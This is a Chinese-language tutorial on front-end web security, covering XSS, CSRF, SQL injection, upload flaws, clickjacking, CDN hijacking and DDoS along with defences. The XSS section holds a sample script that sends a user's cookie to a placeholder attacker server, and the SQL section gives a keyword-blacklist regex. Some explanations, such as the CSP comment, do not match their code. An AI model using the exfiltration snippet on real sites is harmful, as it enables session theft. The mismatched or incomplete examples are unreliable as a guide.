目录
1. xss(Cross Site Scripting)跨站脚本攻击
1.1 持久型(存储型)攻击 / 非持久型(反射型)攻击 是什么?
1.3 防御 xss(转义输出、内容安全策略、限制 https 请求)
1.4 为什么要使用 https,不用 http?http 头部注入攻击是什么?
2. CSRF(Cross Site Request Forgery)跨站请求伪造
2.3 防御 CSRF(校验 token、跨域资源共享限制等)
5.2 防御点击劫持(X-FRAME-OPTIONS、sandbox、JavaScript 防御)
所有发生在 浏览器、单页面应用、Web页面 当中的安全问题,都算是“前端安全问题”,需要前端开发人员去修复。
1. xss(Cross Site Scripting)跨站脚本攻击
1.1 持久型(存储型)攻击 / 非持久型(反射型)攻击 是什么?
攻击者将可执行的代码,注入到浏览器页面中,并被浏览器执行
xss 可以分为以下两种类型:
- 持久型(存储型)攻击
- 非持久型(反射型)攻击
持久型(存储型)攻击 —— 攻击者通过普通用户登录的账号,给服务器发送请求,将具有攻击性的代码保存到了数据库中,其他用户再次请求当前页面时,进行攻击。最常发生 xss 漏洞的地方就是具有 评论功能 的页面
非持久型(反射型)攻击 —— 通过修改 URL 参数的方式,加入攻击代码,诱导用户访问链接,从而进行攻击,危害比持久型攻击要小
1.2 xss 出现的场景?造成的危害?
出现场景:
- 页面中所有的 input, a, img, script 标签
- window.location(href、hash等)
- window.name // 跨域传送数据 、执行任意长度 javascript 代码
- document.referrer // 保存着链接到当前页面的那个页面的 URL
- document.cookie
- localstorage —— 本地存储信息必须加密
- XMLHttpRequest 返回的数据
<script>
// 目标页面存在着 window.name
// 诱导用户点击当前页面,从而将用户信息发送到攻击者手中
window.name = `alert(${document.cookie})`;
// 将目标网站的数据发送到 攻击者服务器
location.href = `http://xxx:4000/public/xss-gongji.html?name=${name}`
</script>
造成危害:
- 控制受害者机器,向其他网站发起攻击
- 窃取用户 cookies,获取用户隐私信息,例如用户的浏览历史、真实IP、开放端口等
- 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
- 传播跨站脚本,蠕虫等
1.3 防御 xss(转义输出、内容安全策略、限制 https 请求)
可以从 输入/输出 两个角度考虑:
- 验证所有输入数据,检测是否具有攻击代码
- 对所有输出数据进行编码,防止恶意代码在浏览器执行
举个栗子~
利用 转义字符(一般会转(&、<、>、"、'、/)这6个字符),对输出数据进行编码
将 <script></script> 标签,存储为 <script></script>,浏览器就无法运行了
Vue/Angular 官方文档中,增加了一些提示,用于防止攻击
安全 | Vue.jsVue.js - 渐进式的 JavaScript 框架https://cn.vuejs.org/guide/best-practices/security.html#potential-dangers https://angular.cn/guide/securityhttps://angular.cn/guide/security
还可以考虑 CSP(内容安全策略)—— 添加了内容安全策略的浏览器,仅会执行从 白名单域 获取到的脚本文件,忽略其他所有脚本(包括内联脚本、HTML的事件处理属性)
还可以指定加载脚本的协议,比如只允许访问 https 的脚本,如下所示:
// connect-src https —— 只允许http是的请求
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
如果不指定脚本协议,则 http 请求,可以正常执行
如果指定了脚本协议,则 http 请求,无法正常执行,会报错
1.4 为什么要使用 https,不用 http?http 头部注入攻击是什么?
为什么要使用 https,不用 http?
- 通信使用明文(不加密),内容可能会被窃听
- 不验证通信方的身份,可能遭遇伪装
- 无法证明报文的完整性,所以有可能已遭篡改
关于 http 头部注入攻击(HTTP Header Injection):
攻击者通过在响应头部字段内插入换行,添加任意响应头部或主体的一种攻击,Web 应用有时会把从外部接收到的值,赋给响应头部字段 Location 和 Set-Cookie
http 头部注入攻击的危害:
- 设置任何 Cookie 信息
- 重定向至任意URL
- 显示任意的主体(HTTP响应截断攻击)
2. CSRF(Cross Site Request Forgery)跨站请求伪造
2.1 什么是跨站请求伪造?
举个栗子~
- 用户登录网站A,输入个人信息,在本地保存服务器生成的 cookie;
- 用户在A网站,不慎点击了由攻击者构建一条恶意链接,跳转到B网站;
- B网站携带着的用户 cookie 信息去访问A网站,给A网站造成是用户自己访问的假相,从而进行非法操作,比如转账;
2.2 CSRF 出现的场景?造成的危害?
出现场景:
- 网站使用 Cookie 验证用户
- 用户没有登出网站
- 网站没有做任何 CSRF 防御
造成危害:简而言之,就是冒充用户,做违背用户自身意愿的事
2.3 防御 CSRF(校验 token、跨域资源共享限制等)
请求时附带验证信息,比如 验证码、Token(带过期时间)
跨域资源共享(CORS),大多数情况下,为了省事,都配置为 *,存在安全隐患
其他方式,不举例子了:
- Get 请求不对数据进行修改
- 阻止第三方网站请求接口
- SameSite,Cookie 的 SameSite 属性用来限制第三方 Cookie,从而减少安全风险
- 验证 Referer,验证一下发起请求的页面,是不是自家系统
3. SQL脚本注入(SQL Injection)
攻击者将 SQL 插入到 Web 表单提交输入参数、页面请求的查询参数 等位置,导致服务器执行了恶意的SQL
防御方式:
白名单验证 —— 检查用户输入是否是符合预期的类型、长度、数值范围或其他格式标准
黑名单验证 —— 若在用户输入中,包含明显的恶意内容,则拒绝该条用户请求
<script>
var sQuery = 'select * from 数据表';
// 正则匹配规则
var re = /select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>|<|%/i;
if (re.test(sQuery.toLocaleLowerCase())) {
alert("请勿输入非法字符");
// location.href = sUrl.replace(sQuery, "");
}
</script>
4. 上传漏洞
攻击者上传了一个 可执行文件 到服务器,并成功执行
上传漏洞与 SQL脚本注入 或 xss 跨站脚本攻击相比,风险更大:
- 上传的文件是 Web 脚本语言,服务器的 Web 容器会执行用户上传的脚本
- 上传的文件是 Flash 策略文件 crossdomain.xml,黑客就能控制 Flash 在该域下的行为
- 上传的文件是病毒、木马文件,黑客就能诱管理员下载执行
- 上传的文件是 钓鱼图片 或 包含脚本的图片,在某些版本的浏览器中,会被作为脚本执行,被用于钓鱼和欺诈
- 上传的文件是 webshell,黑客就能到服务器上完全控制系统,致使系统瘫痪
防御方式:
- javascript 校验(一般只校验后缀名)
- 文件头 content-type 字段校验(image/gif)
-
文件内容头校验(GIF89a)
5. 点击劫持
5.1 什么是点击劫持?有什么危害?
这是一种欺骗性比较强,需要用户高度参与才能完成的一种攻击
攻击步骤:
- 攻击者构造一个诱导用户点击的内容,如 Web 页面小游戏
- 将 被攻击的页面 放入到 iframe 当中
- 利用 CSS 样式,将这个 iframe 叠加到小游戏正上方,并设为透明度
- 受害者访问这个页面,看到的是一个小游戏,实际点击的却是 iframe
攻击利用了受害者的用户身份,在其不知情的情况下进行非法操作
5.2 防御点击劫持(X-FRAME-OPTIONS、sandbox、JavaScript 防御)
5.2.1 X-FRAME-OPTIONS
在页面的响应头上,设置页面是否可以在 <frame> 标签中显示
- DENY:不能被嵌入到任何 iframe
- SAMEORIGIN:只能被本站页面嵌入到 iframe 中
- ALLOW-FROM uri:只能被嵌入到指定域名的网站中
给请求资源的地址加上响应头:
测试当前页面是否可以被嵌入其他页面:
微信公众号文章的安全策略:
5.2.2 iframe 的安全属性 sandbox
用 iframe 引入第三方内容存在安全问题,比如嵌入了第三方插件、不安全的脚本等
在 iframe 标签中,添加 sandbox 属性,将开启以下限制:
对比一下加不加属性,对加载资源的影响:
5.2.3 JavaScript 防御
当通过 iframe 的方式加载页面时,攻击者的网页不再显示内容
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
// 判断当前页面是否是在iframe中
if (self == top) {
var style = document.getElementById('click-jack');
document.body.removeChild(style);
} else {
top.location = self.location;
}
</script>
</body>
6. CDN 资源劫持
攻击者劫持了CDN,污染存储在 CDN 中的静态资源,进而通过第三方资源破坏系统
防御方式:使用浏览器提供的 SRI(Subresource Integrity)功能
Subresource 指 HTML页面中,通过 <script> 和 <link> 元素引入的资源文件
每个资源文件都可以有一个 SRI 值,比如下方的 integrity 属性,它由两部分组成:
- 中划线(-)左侧是生成 SRI 值用到的 哈希算法名
- 中划线(-)右侧是经过 Base64 编码后的 资源文件的 Hash 值
<script src=“https://example.js” integrity=“sha384-eivAQsRgJIi2KsTdSnfoEGIRTo25NCAqjNJNZalV63WKX3Y51adIzLT4So1pk5tX”></script>
浏览器在处理 script 元素时,会检查 JavaScript 脚本文件的完整性,是否和 script 元素中 integrity 属性指定的 SRI 值一致,如果不匹配,浏览器会中止处理脚本
7. 错误(报错)消息处理
错误(报错)信息包括:
- Web 应用抛出的错误信息
- 数据库等系统抛出的错误信息
Web 应用的错误(报错)信息内,包含对攻击者有用的信息(详细的错误消息,有可能给攻击者提示),攻击者利用不同的输入,让网站提示不同错误信息
举个栗子~~~ 登录时若提示手机号未注册,就可以得出 手机号 没在这个网站注册过
所以错误(报错)消息,应该尽可能模糊
8. DDoS 攻击
让运行中的服务呈停止状态的攻击,又名 服务停止攻击、拒绝服务攻击等等;它攻击的对象不仅包括 Web 网站,还包括网络设备、服务器等
DDoS 攻击主要分为两种方式:
- 利用集中访问请求,造成资源过载,资源用尽的同时,服务就处于停止状态
- 通过攻击安全漏洞,使服务停止